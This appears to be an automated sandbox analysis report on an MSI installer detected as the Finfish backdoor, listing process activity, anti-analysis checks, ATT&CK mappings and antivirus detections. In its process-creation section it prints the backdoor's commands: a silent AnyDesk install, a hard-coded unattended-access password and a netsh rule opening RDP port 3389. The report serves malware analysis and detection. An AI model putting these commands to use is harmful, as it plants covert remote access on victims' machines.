Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\anydesk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\netsh.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Windows\System32\msiexec.exe TID: 2948	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\msiexec.exe TID: 264	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\msiexec.exe TID: 868	Thread sleep time: -660000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\VSSVC.exe TID: 316	Thread sleep time: -900000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2408	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 2944	Thread sleep time: -120000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 2068	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 2676	Thread sleep time: -180000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 904	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe TID: 2492	Thread sleep count: 1273 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe TID: 2492	Thread sleep count: 647 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe TID: 2492	Thread sleep count: 181 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe TID: 2492	Thread sleep count: 47 > 30	Jump to behavior
Source: C:\ProgramData\anydesk.exe TID: 2012	Thread sleep time: -300000s >= -30000s	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe TID: 2184	Thread sleep time: -420000s >= -30000s	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe TID: 1224	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe TID: 1040	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe TID: 464	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe TID: 1224	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe TID: 1544	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe TID: 2468	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe TID: 848	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe TID: 1656	Thread sleep time: -2767011611056431s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\netsh.exe TID: 672	Thread sleep time: -60000s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe

Thread sleep count: Count: 1273 delay: -10

Jump to behavior

Source: C:\ProgramData\anydesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Window / User API: threadDelayed 1273			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Window / User API: threadDelayed 647			Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened / queried: scsi#disk&ven_vmware&prod_virtual_disk#5&22be343f&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}

Jump to behavior

Source: C:\Windows\System32\msiexec.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\ProgramData\anydesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\ProgramData\anydesk\AnyDesk.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	File Volume queried: C:\ FullSizeInformation	Jump to behavior

Source: VSSVC.exe, 00000003.00000002.1168516119.000000000172F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: svchost.exe, 00000004.00000003.984456495.0000000000324000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#5&22be343f&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}
Source: svchost.exe, 00000004.00000002.1166912198.00000000002EB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ;SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&22BE343F&0&000000
Source: svchost.exe, 00000004.00000002.1167619042.0000000001201000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: si#disk&ven_vmware&prod_virtual_disk#5&22be343f&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}>>
Source: svchost.exe, 00000004.00000003.984328347.0000000000324000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#disk&ven_vmware&prod_virtual_disk#5&22be343f&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b},
Source: svchost.exe, 00000004.00000002.1167619042.0000000001201000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: #disk&ven_vmware&prod_virtual_disk#5&22be343f&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}00

Source: C:\ProgramData\anydesk.exe

Code function: 16_2_015B0229 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,

16_2_015B0229

Source: C:\ProgramData\anydesk\AnyDesk.exe

20_2_01817257

Source: C:\ProgramData\anydesk\AnyDesk.exe

Memory protected: page read and write | page guard

Jump to behavior

Source: C:\ProgramData\anydesk.exe	Code function: 16_2_015B0229 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	16_2_015B0229
Source: C:\ProgramData\anydesk\AnyDesk.exe	Code function: 20_2_01810229 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_01810229
Source: C:\ProgramData\anydesk\AnyDesk.exe	Code function: 20_2_01810229 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	20_2_01810229
Source: C:\ProgramData\anydesk\AnyDesk.exe	Code function: 20_2_0180743D _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_0180743D
Source: C:\ProgramData\anydesk\AnyDesk.exe	Code function: 20_2_0180743D _memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	20_2_0180743D

Source: C:\ProgramData\anydesk\AnyDesk.exe

File opened: Windows Firewall: C:\Windows\SysWOW64\FirewallAPI.dll

Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 6381DE7DB6BAADD41D0E24C26E59EDFC	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\syswow64\MsiExec.exe -Embedding 22388C515E15FC158EA4B11229C0F8D9 E Global\MSI0000	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c rd /s /q "C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\." /SETINTEGRITYLEVEL (CI)(OI)HIGH	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\expand.exe "C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe "C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\icacls.exe "C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\." /SETINTEGRITYLEVEL (CI)(OI)LOW	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c c:\programdata\anydesk.exe --install C:\ProgramData\AnyDesk --silent	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /c echo 31121985west\|c:\programdata\anydesk\anydesk.exe --set-password	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process created: C:\ProgramData\anydesk\AnyDesk.exe "c:\programdata\anydesk\anydesk.exe" --get-id	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="RDP" dir=in protocol=TCP localport=3389 action=allow	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\anydesk.exe c:\programdata\anydesk.exe --install C:\ProgramData\AnyDesk --silent	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /S /D /c" echo 31121985west"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\ProgramData\anydesk\AnyDesk.exe c:\programdata\anydesk\anydesk.exe --set-password	Jump to behavior

Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\msiexec.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\VSSVC.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\ProgramData\anydesk\AnyDesk.exe

Code function: 20_2_016F9BE0 _vswprintf_s,WaitForSingleObject,OutputDebugStringA,GetSystemTime,TlsGetValue,__itow,GetCurrentThreadId,GetCurrentProcessId,__snprintf,SetFilePointer,SetFilePointer,ReadFile,_memmove,SetFilePointer,WriteFile,SetFilePointer,SetEndOfFile,WriteFile,RtlEnterCriticalSection,RaiseException,

20_2_016F9BE0

Lowering of HIPS / PFW / Operating System Security Settings

Uses netsh to modify the Windows network and firewall settings

Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="RDP" dir=in protocol=TCP localport=3389 action=allow

Modifies the windows firewall

Source: C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe

Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="RDP" dir=in protocol=TCP localport=3389 action=allow

Source: install.exe, 0000000B.00000003.1118766580.0000000000946000.00000004.00000020.00020000.00000000.sdmp, install.exe, 0000000B.00000003.1118897172.000000000095E000.00000004.00000001.00020000.00000000.sdmp

Binary or memory string: procdump.exe

Source: AnyDesk.exe, 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: release/win_7.0.x
Source: AnyDesk.exe, 00000014.00000002.1170344791.0000000001E7A000.00000002.00000001.01000000.0000000A.sdmp	Binary or memory string: .itext.text.customf97bed53183a234c33acc24231b422c4release/win_7.0.x96f8d80eac273a9144abccce2f66dbc2200cc81d
Source: anydesk.exe, 00000010.00000002.1077981622.0000000001BA0000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: 96f8d80eac273a9144abccce2f66dbc2200cc81drelease/win_7.0.xf97bed53183a234c33acc24231b422c4

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
1 Replication Through Removable Media	1 Native API	1 LSASS Driver	1 LSASS Driver	211 Disable or Modify Tools	1 Input Capture	1 System Time Discovery	1 Replication Through Removable Media	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	1 Command and Scripting Interpreter	1 Image File Execution Options Injection	1 Image File Execution Options Injection	1 Obfuscated Files or Information	LSASS Memory	11 Peripheral Device Discovery	Remote Desktop Protocol	1 Input Capture	Exfiltration Over Bluetooth	12 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	2 Windows Service	1 Access Token Manipulation	11 Software Packing	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	1 Registry Run Keys / Startup Folder	2 Windows Service	1 File Deletion	NTDS	14 System Information Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Non-Application Layer Protocol	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	1 Services File Permissions Weakness	11 Process Injection	21 Masquerading	LSA Secrets	131 Security Software Discovery	SSH	Keylogging	Data Transfer Size Limits	2 Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	1 Registry Run Keys / Startup Folder	41 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Process Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	1 Services File Permissions Weakness	1 Access Token Manipulation	DCSync	41 Virtualization/Sandbox Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 Application Window Discovery	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Hidden Files and Directories	/etc/passwd and /etc/shadow	1 Remote System Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Hidden Users	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact
Compromise Software Dependencies and Development Tools	Windows Command Shell	Cron	Cron	1 Services File Permissions Weakness	Input Capture	Permission Groups Discovery	Replication Through Removable Media	Remote Data Staging	Exfiltration Over Physical Medium	Mail Protocols			Service Stop

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
1.msi	48%	Virustotal		Browse
1.msi	30%	ReversingLabs	Win32.Backdoor.Finfish
1.msi	100%	Avira	BDS/Finfish.ujrxw

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Windows\Installer\78c344.msi	100%	Avira	BDS/Finfish.ujrxw
C:\Windows\Installer\78c341.msi	100%	Avira	BDS/Finfish.ujrxw
C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\$dpx$.tmp\eee52229ee24a34cb61191d27a7b66f1.tmp	100%	Avira	TR/Dropper.Gen
C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\$dpx$.tmp\eee52229ee24a34cb61191d27a7b66f1.tmp	100%	Joe Sandbox ML
C:\ProgramData\anydesk\AnyDesk.exe	0%	Virustotal		Browse
C:\ProgramData\anydesk\AnyDesk.exe	3%	Metadefender		Browse
C:\ProgramData\anydesk\AnyDesk.exe	2%	ReversingLabs
C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\$dpx$.tmp\eee52229ee24a34cb61191d27a7b66f1.tmp	64%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\$dpx$.tmp\eee52229ee24a34cb61191d27a7b66f1.tmp	22%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\$dpx$.tmp\eee52229ee24a34cb61191d27a7b66f1.tmp	65%	ReversingLabs	Win32.Backdoor.Finfish
C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe (copy)	64%	Virustotal		Browse
C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe (copy)	22%	Metadefender		Browse
C:\Users\user\AppData\Local\Temp\MW-4a754448-1372-4b62-af77-6f1650246a5a\files\install.exe (copy)	65%	ReversingLabs	Win32.Backdoor.Finfish
C:\Windows\Installer\MSI5BE8.tmp	0%	Virustotal		Browse
C:\Windows\Installer\MSI5BE8.tmp	0%	Metadefender		Browse
C:\Windows\Installer\MSI5BE8.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIB0A0.tmp	0%	Virustotal		Browse
C:\Windows\Installer\MSIB0A0.tmp	0%	Metadefender		Browse
C:\Windows\Installer\MSIB0A0.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIBA33.tmp	0%	Metadefender		Browse
C:\Windows\Installer\MSIBA33.tmp	0%	ReversingLabs
C:\Windows\Installer\MSIED31.tmp	0%	Metadefender		Browse
C:\Windows\Installer\MSIED31.tmp	0%	ReversingLabs

Unpacked PE Files

Source	Detection	Scanner	Label	Download
11.0.install.exe.400000.4.unpack	100%	Avira	TR/Dropper.Gen	Download File
11.0.install.exe.400000.1.unpack	100%	Avira	TR/Dropper.Gen	Download File
11.0.install.exe.400000.7.unpack	100%	Avira	TR/Dropper.Gen	Download File
11.0.install.exe.400000.3.unpack	100%	Avira	TR/Dropper.Gen	Download File
11.0.install.exe.400000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
11.0.install.exe.400000.5.unpack	100%	Avira	TR/Dropper.Gen	Download File
11.0.install.exe.400000.2.unpack	100%	Avira	TR/Dropper.Gen	Download File
11.2.install.exe.400000.0.unpack	100%	Avira	TR/Dropper.Gen	Download File
11.0.install.exe.400000.6.unpack	100%	Avira	TR/Dropper.Gen	Download File

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://boot.net.anydesk.comabcdefABCDEFtruefalsebase.prot.packetInvalid	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
boot.net.anydesk.com	92.223.88.41	true	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://anydesk.com	AnyDesk.exe, 00000014.00000003.1050069306.00000000006C0000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.anydesk.com/	anydesk.exe, 00000010.00000002.1069670165.0000000001640000.00000002.00000001.01000000.00000008.sdmp, anydesk.exe, 00000010.00000003.1033845137.00000000037B0000.00000004.00000800.00020000.00000000.sdmp, AnyDesk.exe, 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmp, AnyDesk.exe, 00000014.00000003.1050069306.00000000006C0000.00000004.00000800.00020000.00000000.sdmp	false		high
http://www.opengl.org/registry/	anydesk.exe, 00000010.00000002.1069670165.0000000001640000.00000002.00000001.01000000.00000008.sdmp, anydesk.exe, 00000010.00000003.1033845137.00000000037B0000.00000004.00000800.00020000.00000000.sdmp, AnyDesk.exe, 00000014.00000002.1169793889.00000000018A0000.00000002.00000001.01000000.0000000A.sdmp, AnyDesk.exe, 00000014.00000003.1050069306.00000000006C0000.00000004.00000800.00020000.00000000.sdmp	false		high
